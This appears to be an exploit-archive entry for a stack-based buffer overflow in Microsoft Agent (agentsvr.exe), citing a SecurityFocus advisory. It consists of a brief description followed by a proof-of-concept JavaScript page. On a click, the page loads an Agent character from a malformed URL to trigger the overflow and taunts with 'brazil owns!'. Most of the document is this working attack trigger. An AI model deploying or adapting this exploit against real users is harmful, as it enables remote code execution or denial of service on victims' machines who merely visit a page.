source: https://www.securityfocus.com/bid/25566/info
Microsoft Agent (agentsvr.exe) is prone to a stack-based buffer-overflow vulnerability because the application fails to adequately bounds-check user-supplied data.
Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the currently logged-in user. Failed exploit attempts will likely result in denial-of-service conditions.
<script language="javascript">
function document::OnClick() {
var agent, character, url;
agent = new ActiveXObject("Agent.Control.2");
agent.connected = true;
agent.Characters.Load("Genie", "http:///");
character = agent.Characters.Character("Genie");
character.Show();
character.Think ("brazil owns!");
character.Speak('brazil owns!');
character.Play('Processing');
}
</script>
